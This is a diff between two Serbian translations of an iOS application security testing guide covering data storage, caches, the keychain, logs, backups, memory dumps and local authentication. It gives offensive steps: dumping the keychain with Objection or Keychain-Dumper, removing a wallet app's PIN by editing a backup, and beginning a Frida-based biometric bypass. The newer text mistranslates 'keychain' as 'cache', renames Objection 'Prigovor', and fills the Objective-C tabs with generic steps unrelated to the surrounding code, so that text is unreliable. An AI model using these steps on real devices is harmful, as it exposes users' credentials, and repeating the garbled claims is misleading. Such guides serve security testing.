pregledanje ovih baza podataka preporučuje se alat [**Realm Studio**](https://github.com/realm/realm-studio). -Za implementaciju enkripcije unutar Realm baze podataka, može se koristiti sledeći kodni isečak: +Za implementaciju enkripcije unutar Realm baze podataka, može se koristiti sledeći kodni odlomak: ```swift // Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server let config = Realm.Configuration(encryptionKey: getKey()) @@ -498,9 +497,9 @@ fatalError("Error opening realm: \(error)") ``` ### Baze podataka Couchbase Lite -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) je opisan kao **lagani** i **ugrađeni** bazični sistem koji sledi **orijentisan prema dokumentima** (NoSQL) pristup. Dizajniran da bude prirodan za **iOS** i **macOS**, nudi mogućnost sinhronizacije podataka bez problema. +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) opisan je kao **lagani** i **ugrađeni** bazični motor koji sledi **orijentisan na dokumente** (NoSQL) pristup. Dizajniran da bude prirodan za **iOS** i **macOS**, nudi mogućnost sinhronizacije podataka bez problema. -Da biste identifikovali potencijalne Couchbase baze podataka na uređaju, trebalo bi da pregledate sledeći direktorijum: +Da biste identifikovali potencijalne Couchbase baze podataka na uređaju, treba pregledati sledeći direktorijum: ```bash ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/ ``` @@ -525,9 +524,9 @@ Da biste pregledali fajl sa kolačićima, možete koristiti [**ovaj Python skrip } ] ``` -### Keširanje +### Keš -Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/`) i idite na `/Library/Caches/`. **WebKit keširanje se takođe čuva u Cache.db** fajlu. **Objection** može otvoriti i interagovati sa bazom podataka komandom `sqlite connect Cache.db`, jer je to **obična SQLite baza podataka**. +Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori u Cache.db** bazi podataka. Ova baza može sadržati **osetljive podatke**, ako su tokeni, korisnička imena ili bilo koje druge osetljive informacije keširane. Da biste pronašli keširane informacije, otvorite direktorijum podataka aplikacije (`/var/mobile/Containers/Data/Application/`) i idite na `/Library/Caches/`. **WebKit keš se takođe čuva u Cache.db** fajlu. **Objection** može otvoriti i interagovati sa bazom podataka komandom `sqlite connect Cache.db`, jer je to **obična SQLite baza podataka**. **Preporučuje se onemogućavanje keširanja ovih podataka**, jer može sadržati osetljive informacije u zahtevu ili odgovoru. U nastavku je prikazan spisak različitih načina postizanja ovoga: @@ -536,20 +535,20 @@ Podrazumevano, NSURLSession čuva podatke, kao što su **HTTP zahtevi i odgovori `URLCache.shared.removeAllCachedResponses()` Ova metoda će ukloniti sve keširane zahteve i odgovore iz Cache.db fajla. -2. Ako ne treba da koristite prednost kolačića, preporučuje se korišćenje svojstva [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracije URLSession, što će onemogućiti čuvanje kolačića i keširanje. +2. Ako ne treba da koristite prednost kolačića, preporučuje se korišćenje svojstva [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfiguracije URLSession, što će onemogućiti čuvanje kolačića i keša. [Apple dokumentacija](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`Objekat konfiguracije sesije ephemeral je sličan objektu konfiguracije sesije po podrazumevanim vrednostima (videti default), osim što odgovarajući objekat sesije ne čuva kešove, skladišta akreditacija ili bilo koje podatke vezane za sesiju na disku. Umesto toga, podaci vezani za sesiju se čuvaju u RAM-u. Jedini put kada sesija ephemeral piše podatke na disk je kada mu kažete da zapiše sadržaj URL-a u fajl.` -3. Keširanje se takođe može onemogućiti postavljanjem Politike keširanja na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku. +`Objekat konfiguracije sesije ephemeral je sličan objektu konfiguracije sesije po podrazumevanim vrednostima (videti default), osim što odgovarajući objekat sesije ne čuva kešove, skladišta akreditacija ili bilo koje podatke vezane za sesiju na disku. Umesto toga, podaci vezani za sesiju se čuvaju u RAM-u. Jedini put kada ephemeral sesija piše podatke na disk je kada joj kažete da zapiše sadržaj URL-a u fajl.` +3. Keš se takođe može onemogućiti postavljanjem Politike keširanja na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). To će onemogućiti čuvanje keša na bilo koji način, bilo u memoriji ili na disku. ### Snimci -Kada pritisnete dugme za početni ekran, iOS **pravi snimak trenutnog ekrana** kako bi mogao da izvrši tranziciju ka aplikaciji na mnogo glađi način. Međutim, ako su **osetljivi podaci** prisutni na trenutnom ekranu, biće **sačuvani** u **slici** (koja **traje** **preko** **ponovnog pokretanja**). Ovo su snimci do kojih možete pristupiti i dvostrukim dodirivanjem početnog ekrana kako biste prešli između aplikacija. +Kada pritisnete dugme za početni ekran, iOS **pravi snimak trenutnog ekrana** kako bi mogao da izvrši tranziciju ka aplikaciji na mnogo glađi način. Međutim, ako je **osetljivi** **podatak** prisutan na trenutnom ekranu, biće **sačuvan** u **slici** (koja **traje** **preko** **ponovnog pokretanja**). Ovo su snimci do kojih možete pristupiti i dvostrukim dodirivanjem početnog ekrana radi prebacivanja između aplikacija. -Osoba koja napada, osim ako iPhone nije džejlbrejkan, mora imati **pristup** **odblokiranom** uređaju da bi videla ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (poverena računara ne mogu pristupiti fajl sistemu od iOX 7.0). +Osoba koja napada, osim ako je iPhone jailbroken, mora imati **pristup** **odblokiranom** uređaju da bi videla ove snimke ekrana. Podrazumevano, poslednji snimak se čuva u sandbox-u aplikacije u `Library/Caches/Snapshots/` ili `Library/SplashBoard/Snapshots` folderu (poverena računara ne mogu pristupiti fajl sistemu od iOX 7.0). -Jedan način da se spreči ovo neželjeno ponašanje je da se postavi prazan ekran ili uklone osetljivi podaci pre pravljenja snimka korišćenjem funkcije `ApplicationDidEnterBackground()`. +Jedan način da se spreči ovo loše ponašanje je postavljanje praznog ekrana ili uklanjanje osetljivih podataka pre pravljenja snimka korišćenjem funkcije `ApplicationDidEnterBackground()`. U nastavku je prikazan primer metode za otklanjanje problema koji će postaviti podrazumevani snimak. @@ -585,15 +584,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -Ovo postavlja pozadinsku sliku na `overlayImage.png` kada se aplikacija prebaci u pozadinu. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek prekriti trenutni prikaz. +Ovo postavlja pozadinsku sliku na `overlayImage.png` kada se aplikacija prebaci u pozadinu. To sprečava curenje osetljivih podataka jer će `overlayImage.png` uvek zameniti trenutni prikaz. ### Keychain -Za pristupanje i upravljanje iOS keychain-om, dostupni su alati poput [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), pogodni za jailbroken uređaje. Dodatno, [**Objection**](https://github.com/sensepost/objection) pruža komandu `ios keychain dump` za slične svrhe. +Za pristupanje i upravljanje iOS kešom, dostupni su alati poput [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), pogodni za jailbroken uređaje. Dodatno, [**Objection**](https://github.com/sensepost/objection) pruža komandu `ios keychain dump` za slične svrhe. #### **Čuvanje akreditacija** -Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u keychain-u, zaobilazeći potrebu za NSUserDefaults-om ili drugim omotačima. Za čuvanje akreditacija nakon prijave, koristi se sledeći Swift kod: +Klasa **NSURLCredential** je idealna za čuvanje osetljivih informacija direktno u kešu, zaobilazeći potrebu za NSUserDefaults-om ili drugim omotačima. Za čuvanje akreditacija nakon prijave, koristi se sledeći Swift kod: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; @@ -601,12 +600,12 @@ credential = [NSURLCredential credentialWithUser:username password:password pers ``` ## **Prilagođene tastature i keš tastature** -Sa iOS 8.0 nadalje, korisnici mogu instalirati prilagođene ekstenzije tastature, koje se mogu upravljati pod **Postavke > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširene funkcionalnosti, one predstavljaju rizik od beleženja pritisnutih tastera i slanja podataka eksternim serverima, iako korisnici dobijaju obaveštenje o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebalo bi, ograničiti upotrebu prilagođenih tastatura za unos osetljivih informacija. +Sa iOS 8.0 nadalje, korisnici mogu instalirati prilagođene tastaturne ekstenzije, koje su upravljive pod **Podešavanja > Opšte > Tastatura > Tastature**. Iako ove tastature nude proširene funkcionalnosti, predstavljaju rizik od beleženja pritisnutih tastera i slanja podataka eksternim serverima, iako korisnici dobijaju obaveštenje o tastaturama koje zahtevaju pristup mreži. Aplikacije mogu, i trebalo bi, ograničiti upotrebu prilagođenih tastatura za unos osetljivih informacija. **Preporuke za bezbednost:** * Preporučuje se onemogućavanje tastatura trećih strana radi poboljšane bezbednosti. -* Budite svesni funkcija automatske ispravke i automatskih predloga podrazumevane iOS tastature, koje mogu čuvati osetljive informacije u keš fajlovima smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ovi keš fajlovi treba redovno proveravati radi osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Postavke > Opšte > Resetovanje > Resetovanje rečnika tastature** radi brisanja keširanih podataka. +* Budite svesni funkcija automatske ispravke i automatskih predloga podrazumevane iOS tastature, koje mogu čuvati osetljive informacije u keš fajlovima smeštenim u `Library/Keyboard/{locale}-dynamic-text.dat` ili `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ovi keš fajlovi trebalo bi redovno proveravati radi osetljivih podataka. Preporučuje se resetovanje rečnika tastature putem **Podešavanja > Opšte > Resetovanje > Resetovanje rečnika tastature** radi brisanja keširanih podataka. * Presretanje mrežnog saobraćaja može otkriti da li prilagođena tastatura daljinski prenosi pritisnute tastere. ### **Prevencija keširanja polja za unos teksta** @@ -616,7 +615,7 @@ Protokol [UITextInputTraits](https://developer.apple.com/reference/uikit/uitexti textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; ``` -Dodatno, developeri treba da se pobrinu da tekstualna polja, posebno ona za unos osetljivih informacija poput lozinki i PIN-ova, onemoguće keširanje postavljanjem `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`. +Dodatno, developeri treba da se pobrinu da tekstualna polja, posebno ona namenjena za unos osetljivih informacija poput lozinki i PIN-ova, onemoguće keširanje postavljanjem `autocorrectionType` na `UITextAutocorrectionTypeNo` i `secureTextEntry` na `YES`. ```objectivec UITextField *textField = [[UITextField alloc] initWithFrame:frame]; textField.autocorrectionType = UITextAutocorrectionTypeNo; @@ -629,9 +628,9 @@ Uprkos ovim ograničenjima, **napadač sa fizičkim pristupom** otključanom ure Da bi se smanjili rizici, preporučuje se **temeljno interagovanje sa aplikacijom**, istražujući sve njene funkcionalnosti i ulaze kako bi se osiguralo da se slučajno ne beleže osetljive informacije. -Prilikom pregleda izvornog koda aplikacije radi potencijalnih curenja, potražite kako **unapred definisane** tako i **prilagođene izjave za logovanje** koristeći ključne reči poput `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, i bilo kakve pomenute `Logging` ili `Logfile` za prilagođene implementacije. +Prilikom pregleda izvornog koda aplikacije radi potencijalnih curenja, potražite kako **unapred definisane** tako i **prilagođene izjave za logovanje** koristeći ključne reči poput `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` za ugrađene funkcije, kao i bilo kakve pomenute `Logging` ili `Logfile` za prilagođene implementacije. -### **Pratite Logove Sistemskog Sistem** +### **Pratite Logove Sistemskog Nadzora** Aplikacije beleže različite informacije koje mogu biti osetljive. Za praćenje ovih logova, alati i komande poput: ```bash @@ -651,23 +650,37 @@ Za naprednije beleženje, povezivanje sa ljuskom uređaja i korišćenje **socat ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` -### Beleške +### Beleženje aktivnosti dnevnika -**Automatske funkcije za bekapovanje** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes-a (do macOS Catalina), Finder-a (od macOS Catalina nadalje) ili iCloud-a. Ovi bekapovi obuhvataju skoro sve podatke uređaja, isključujući visoko osetljive elemente poput detalja Apple Pay-a i konfiguracija Touch ID-a. +Prateći naredbe za posmatranje aktivnosti dnevnika, koje mogu biti od neprocenjive vrednosti za dijagnostikovanje problema ili identifikaciju potencijalnog curenja podataka u dnevnicima. + +*** + +
+ +\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Pristupite danas: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## Rezervne kopije + +**Automatske funkcije rezervnog kopiranja** su integrisane u iOS, olakšavajući kreiranje kopija podataka uređaja putem iTunes-a (do macOS Catalina), Finder-a (od macOS Catalina nadalje) ili iCloud-a. Ove rezervne kopije obuhvataju gotovo sve podatke uređaja, isključujući visoko osetljive elemente poput detalja Apple Pay-a i konfiguracija Touch ID-a. ### Bezbednosni rizici -Uključivanje **instaliranih aplikacija i njihovih podataka** u bekapove postavlja pitanje potencijalnog **curenja podataka** i rizika da **modifikacije bekapova mogu promeniti funkcionalnost aplikacija**. Preporučuje se **ne čuvati osetljive informacije u plaintext formatu** unutar direktorijuma bilo koje aplikacije ili njenih poddirektorijuma kako bi se umanjili ovi rizici. +Uključivanje **instaliranih aplikacija i njihovih podataka** u rezervne kopije postavlja pitanje potencijalnog **curenja podataka** i rizika da **izmene rezervne kopije mogu promeniti funkcionalnost aplikacije**. Preporučuje se **ne čuvati osetljive informacije u običnom tekstu** unutar direktorijuma bilo koje aplikacije ili njenih poddirektorijuma kako bi se umanjili ovi rizici. -### Isključivanje Fajlova iz Bekapova +### Isključivanje datoteka iz rezervnih kopija -Fajlovi u `Documents/` i `Library/Application Support/` se automatski bekapuju. Razvojni programeri mogu isključiti određene fajlove ili direktorijume iz bekapova koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u bekapove. +Datoteke u `Documents/` i `Library/Application Support/` se podrazumevano rezervišu. Razvojni programeri mogu isključiti određene datoteke ili direktorijume iz rezervnih kopija koristeći `NSURL setResourceValue:forKey:error:` sa `NSURLIsExcludedFromBackupKey`. Ova praksa je ključna za zaštitu osetljivih podataka od uključivanja u rezervne kopije. -### Testiranje Ranjivosti +### Testiranje ranjivosti -Da biste procenili bezbednost bekapova aplikacije, počnite sa **kreiranjem bekapa** koristeći Finder, a zatim ga locirajte koristeći smernice iz [zvanične dokumentacije Apple-a](https://support.apple.com/en-us/HT204215). Analizirajte bekap radi osetljivih podataka ili konfiguracija koje bi mogle biti promenjene da bi uticale na ponašanje aplikacije. +Da biste procenili sigurnost rezervne kopije aplikacije, počnite sa **kreiranjem rezervne kopije** koristeći Finder, a zatim je locirajte koristeći uputstva iz [zvanične dokumentacije kompanije Apple](https://support.apple.com/en-us/HT204215). Analizirajte rezervnu kopiju u potrazi za osetljivim podacima ili konfiguracijama koje bi mogle biti promenjene kako bi uticale na ponašanje aplikacije. -Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili aplikacija poput [iMazing](https://imazing.com). Za enkriptovane bekapove, prisustvo enkripcije se može potvrditi proverom ključa "IsEncrypted" u fajlu "Manifest.plist" na korenu bekapova. +Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili aplikacija poput [iMazing](https://imazing.com). Za šifrovane rezervne kopije, prisustvo šifrovanja može se potvrditi proverom ključa "IsEncrypted" u fajlu "Manifest.plist" na korenu rezervne kopije. ```xml @@ -682,9 +695,9 @@ Osetljive informacije mogu se pronaći korišćenjem alata komandne linije ili a ``` Za rukovanje enkriptovanim rezervnim kopijama, Python skripte dostupne u [DinoSec-ovom GitHub repozitorijumu](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), poput **backup\_tool.py** i **backup\_passwd.py**, mogu biti korisne, iako potencijalno zahtevaju prilagođavanje za kompatibilnost sa najnovijim verzijama iTunes/Finder-a. [**iOSbackup** alat](https://pypi.org/project/iOSbackup/) je još jedna opcija za pristupanje fajlovima unutar zaštićenih lozinkom rezervnih kopija. -### Modifikovanje Ponašanja Aplikacije +### Modifikacija Ponašanja Aplikacije -Primer modifikovanja ponašanja aplikacije putem modifikacija rezervne kopije je prikazan u [Bither bitcoin novčanik aplikaciji](https://github.com/bither/bither-ios), gde se UI zaključavanje PIN-a čuva unutar `net.bither.plist` pod ključem **pin\_code**. Uklanjanje ovog ključa iz plist datoteke i vraćanje rezervne kopije uklanja zahtev za PIN, pružajući neograničen pristup. +Primer modifikacije ponašanja aplikacije putem izmena u rezervnoj kopiji je prikazan u [Bither bitcoin novčanik aplikaciji](https://github.com/bither/bither-ios), gde se UI zaključavanje PIN-a čuva unutar `net.bither.plist` pod ključem **pin\_code**. Uklanjanje ovog ključa iz plist datoteke i vraćanje rezervne kopije uklanja zahtev za PIN-om, pružajući neograničen pristup. ## Rezime Testiranja Memorije za Osetljive Podatke @@ -692,7 +705,7 @@ Kada se bavite osetljivim informacijama koje su smeštene u memoriji aplikacije, ## **Dobijanje i Analiza Dump-a Memorije** -Za jailbroken i ne-jailbroken uređaje, alati poput [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) omogućavaju dump-ovanje memorije procesa aplikacije. Nakon što je dump-ovana, analiza ovih podataka zahteva različite alate, zavisno od prirode informacija koje tražite. +Za jailbroken i ne-jailbroken uređaje, alati poput [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) omogućavaju dump-ovanje memorije procesa aplikacije. Nakon što je dump-ovana, analiza ovih podataka zahteva različite alate, u zavisnosti od prirode informacija koje tražite. Za izvlačenje stringova iz dump-a memorije, mogu se koristiti komande poput `strings` ili `rabin2 -zz`: ```bash @@ -702,7 +715,7 @@ $ strings memory > strings.txt # Extracting strings using rabin2 $ rabin2 -ZZ memory > strings.txt ``` -Za detaljniju analizu, uključujući pretragu specifičnih tipova podataka ili obrazaca, **radare2** nudi obimne mogućnosti pretrage: +Za detaljniju analizu, uključujući pretragu određenih tipova podataka ili obrazaca, **radare2** nudi obimne mogućnosti pretrage: ```bash $ r2 [0x00000000]> /? @@ -715,19 +728,19 @@ $ r2 $ r2 frida://usb// [0x00000000]> /\ ``` -## Slomljena Kriptografija +## Oštećena Kriptografija -### Loši Procesi Upravljanja Ključevima +### Slabi Procesi Upravljanja Ključevima -Neki programeri čuvaju osetljive podatke u lokalnom skladištu i šifriraju ih ključem koji je unapred definisan/predvidljiv u kodu. Ovo ne bi trebalo raditi jer neko preokretanje može omogućiti napadačima da izvuku poverljive informacije. +Neki programeri čuvaju osetljive podatke u lokalnom skladištu i šifriraju ih ključem koji je unapred definisan/predvidljiv u kodu. Ovo ne bi trebalo raditi jer neko ko vrši reverzni inženjering može izvući poverljive informacije. ### Korišćenje Nesigurnih i/ili Zastarelih Algoritama -Programeri ne bi trebalo da koriste **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **heševi** koriste za čuvanje lozinki na primer, trebalo bi koristiti heševe otporne na napade brute-force zajedno sa solju. +Programeri ne bi trebalo da koriste **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **heševi** koriste za čuvanje lozinki na primer, trebalo bi koristiti heševe otporne na napade brute-force uz dodatak soli. ### Provera -Glavne provere koje treba obaviti su da li možete pronaći **unapred definisane** lozinke/tajne u kodu, ili da li su te lozinke **predvidljive**, i da li kod koristi neku vrstu **slabe** **kriptografske** algoritme. +Glavne provere koje treba obaviti su da li možete pronaći **unapred definisane** lozinke/tajne u kodu, ili da li su te lozinke **predvidljive**, i da li kod koristi neku vrstu **slabih** **kriptografskih** algoritama. Zanimljivo je znati da možete **nadgledati** neke **kripto** **biblioteke** automatski koristeći **objection** sa: ```swift @@ -739,7 +752,7 @@ Za **više informacija** o iOS kriptografskim API-ima i bibliotekama posetite [h **Lokalna autentikacija** igra ključnu ulogu, posebno kada je u pitanju obezbeđivanje pristupa na udaljenom krajnjem tačkom putem kriptografskih metoda. Suština ovde je da bez pravilne implementacije, mehanizmi lokalne autentikacije mogu biti zaobiđeni. -Apple-ov [**Lokalni autentikacioni okvir**](https://developer.apple.com/documentation/localauthentication) i [**ključnik**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju snažne API-je za programere kako bi olakšali dijaloge autentikacije korisnika i sigurno rukovali tajnim podacima, redom. Secure Enclave obezbeđuje ID otiska prsta za Touch ID, dok se Face ID oslanja na prepoznavanje lica bez ugrožavanja biometrijskih podataka. +Apple-ov [**Lokalni autentikacioni okvir**](https://developer.apple.com/documentation/localauthentication) i [**ključnik**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju snažne API-je programerima kako bi olakšali dijaloge autentikacije korisnika i sigurno rukovali tajnim podacima, redom. Secure Enclave obezbeđuje ID otiska prsta za Touch ID, dok se Face ID oslanja na prepoznavanje lica bez ugrožavanja biometrijskih podataka. Da bi integrisali Touch ID/Face ID, programeri imaju dva API izbora: @@ -747,7 +760,7 @@ Da bi integrisali Touch ID/Face ID, programeri imaju dva API izbora: * **`Security.framework`** za pristup uslugama ključnika na nižem nivou, obezbeđujući tajne podatke biometrijskom autentikacijom. Različiti [omotači otvorenog koda](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) olakšavaju pristup ključniku. {% hint style="opasnost" %} -Međutim, kako `LocalAuthentication.framework` tako i `Security.framework` predstavljaju ranjivosti, jer uglavnom vraćaju boolean vrednosti bez slanja podataka za autentikacione procese, čineći ih podložnim zaobilaženju (videti [Ne dodiruj me na taj način, od strane Davida Lindnera i drugih](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +Međutim, kako `LocalAuthentication.framework` i `Security.framework` predstavljaju ranjivosti, pošto uglavnom vraćaju boolean vrednosti bez slanja podataka za autentikacione procese, čine ih podložnim zaobilaženju (videti [Ne dodiruj me na taj način, od strane Davida Lindnera i drugih](https://www.youtube.com/watch?v=XhXIHVGCFFM)). {% endhint %} ### Implementacija Lokalne Autentikacije @@ -761,7 +774,7 @@ Uspešna autentikacija se označava boolean vrednošću koja se vraća iz **`eva ### Lokalna Autentikacija korišćenjem Ključnika -Implementacija **lokalne autentikacije** u iOS aplikacijama uključuje korišćenje **ključnik API-ja** za sigurno čuvanje tajnih podataka kao što su autentikacioni tokeni. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, korišćenjem njihove šifre uređaja ili biometrijske autentikacije poput Touch ID-a. +Implementacija **lokalne autentikacije** u iOS aplikacijama uključuje korišćenje **ključničkih API-ja** za sigurno čuvanje tajnih podataka kao što su autentikacioni tokeni. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, korišćenjem šifre uređaja ili biometrijske autentikacije poput Touch ID-a. Ključnik nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik uspešno autentikuje putem Touch ID-a ili šifre uređaja. Ova funkcija je ključna za unapređenje sigurnosti. @@ -807,16 +820,24 @@ if status == noErr { ``` {% endtab %} -{% tab title="Objective-C" %} +{% tab title="Objective-C" %} -### Objective-C +## Analiza statičkog koda -Objective-C je stariji jezik koji se koristi za razvoj iOS aplikacija. Iako je Swift postao glavni jezik za razvoj aplikacija za iOS, još uvek možete naići na Objective-C kod prilikom pentestiranja iOS aplikacija. Evo nekoliko ključnih tačaka na koje treba obratiti pažnju prilikom pentestiranja Objective-C aplikacija: +1. **Otvorite Xcode projekt**: Otvorite Xcode projekt koji želite da analizirate. +2. **Odaberite "Product"**: Kliknite na "Product" u glavnom meniju. +3. **Izaberite "Perform Action"**: Izaberite "Perform Action" i zatim "Build With...". +4. **Odaberite "Build For Profiling"**: Kliknite na "Build For Profiling" kako biste izgradili projekt za profilisanje. +5. **Pronađite izgrađeni fajl**: Pronađite izgrađeni fajl projekta koji želite da analizirate. +6. **Analizirajte fajl**: Koristite alate za analizu statičkog koda poput `otool`, `class-dump`, `Hopper`, ili `IDA Pro` za analizu izgrađenog fajla. -- **Static Analysis (Statistička analiza):** Korišćenje alata poput `clang` i `scan-build` za pronalaženje potencijalnih grešaka u kodu. -- **Dynamic Analysis (Dinamička analiza):** Korišćenje alata poput `Cycript` za interaktivno testiranje i manipulaciju aplikacijom u pokretu. -- **Reverse Engineering (Reverse inženjering):** Korišćenje alata poput `Hopper` ili `IDA Pro` za analizu i razumevanje rada aplikacije. -- **Network Traffic Analysis (Analiza mrežnog saobraćaja):** Praćenje i analiza mrežnog saobraćaja koji generiše aplikacija radi otkrivanja potencijalnih bezbednosnih propusta. +## Analiza dinamičkog koda + +1. **Koristite LLDB debugger**: Koristite LLDB debugger za analizu dinamičkog koda vaše iOS aplikacije. +2. **Postavite tačke prekida**: Postavite tačke prekida na ključnim tačkama u kodu kako biste pratili izvršavanje. +3. **Pratite promenljive**: Pratite vrednosti promenljivih tokom izvršavanja aplikacije. +4. **Analizirajte mrežne zahteve**: Koristite alate poput Charles Proxy ili Burp Suite za analizu mrežnih zahteva i odgovora. +5. **Istražite memoriju**: Koristite alate poput `malloc_debug` za istraživanje memorije i otkrivanje curenja memorije ili drugih problema. {% endtab %} ```objectivec @@ -871,39 +892,22 @@ let password = String(data: queryResult as! Data, encoding: .utf8)! ``` {% endtab %} -{% tab title="Objective-C" %} +{% tab title="Objective-C" %} -### Analiza statičkog koda +## Analiza statičkog koda -1. **Korišćenje Clang Static Analyzer-a** +1. **Otvorite Xcode projekt**: Otvorite Xcode projekt koji želite da analizirate. +2. **Odaberite "Product"**: Kliknite na "Product" u glavnom meniju. +3. **Izaberite "Perform Action"**: Izaberite "Perform Action" i zatim "Build With...". +4. **Odaberite "Build For Profiling"**: Kliknite na "Build For Profiling" kako biste izgradili projekt za profilisanje. +5. **Analizirajte rezultate**: Pregledajte rezultate analize statičkog koda kako biste identifikovali potencijalne sigurnosne ranjivosti. - Clang Static Analyzer je alat za analizu statičkog koda koji dolazi uz Xcode. Može se koristiti za otkrivanje potencijalnih grešaka u kodu, poput curenja memorije, neinicijalizovanih promenljivih, itd. +## Analiza dinamičkog koda - Za pokretanje Clang Static Analyzer-a, otvorite Terminal i unesite sledeću komandu: - - ```bash - scan-build xcodebuild -configuration Debug - ``` - -2. **Korišćenje LLVM Analyzer-a** - - LLVM Analyzer je još jedan alat za analizu statičkog koda koji može otkriti potencijalne greške u kodu. Može se koristiti zajedno sa Clang Static Analyzer-om radi dodatne analize. - - Za pokretanje LLVM Analyzer-a, otvorite Terminal i unesite sledeću komandu: - - ```bash - scan-build -o /tmp/llvm xcodebuild -configuration Debug - ``` - -3. **Korišćenje OCLint-a** - - OCLint je alat za statičku analizu koda koji se može koristiti za otkrivanje grešaka, loših praksi i nepoželjnog koda. Može se koristiti za poboljšanje kvaliteta koda i otkrivanje potencijalnih problema. - - Za pokretanje OCLint-a, otvorite Terminal i unesite sledeću komandu: - - ```bash - oclint-json-compilation-database -- -report-type pmd - ``` +1. **Koristite alate za analizu dinamičkog koda**: Koristite alate poput LLDB debuggera za analizu dinamičkog koda. +2. **Simulirajte napade**: Simulirajte različite scenarije napada kako biste identifikovali ranjivosti. +3. **Praćenje mrežnog saobraćaja**: Koristite alate poput Charles Proxy-a za praćenje i analizu mrežnog saobraćaja. +4. **Provera sigurnosnih mehanizama**: Proverite da li su implementirani sigurnosni mehanizmi poput enkripcije podataka i provere autentičnosti. {% endtab %} ```objectivec @@ -928,7 +932,7 @@ NSLog(@"Something went wrong"); ``` ### Otkrivanje -Korišćenje okvira u aplikaciji takođe može biti otkriveno analiziranjem liste deljenih dinamičkih biblioteka aplikacije. To se može uraditi korišćenjem `otool`: +Korišćenje okvira u aplikaciji takođe može biti otkriveno analizom liste deljenih dinamičkih biblioteka aplikacije. Ovo se može uraditi korišćenjem `otool`: ```bash $ otool -L .app/ ``` @@ -937,15 +941,13 @@ Ako se koristi `LocalAuthentication.framework` u aplikaciji, izlaz će sadržati /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security ``` -Ako se koristi `Security.framework`, prikazan će biti samo drugi. - -### Bypass okvira za lokalnu autentikaciju +### Bypass lokalnog autentikacionog okvira #### **Prigovor** -Putem **Objection Biometrics Bypass**, koji se nalazi na [ovoj GitHub stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje mehanizma **LocalAuthentication**. Srž ovog pristupa uključuje korišćenje **Fride** za manipulaciju funkcije `evaluatePolicy`, osiguravajući da uvek daje rezultat `True`, bez obzira na stvarni uspeh autentikacije. Ovo je posebno korisno za zaobilaženje neispravnih biometrijskih autentikacionih procesa. +Kroz **Prigovor Biometrijski Bypass**, koji se nalazi na [ovoj GitHub 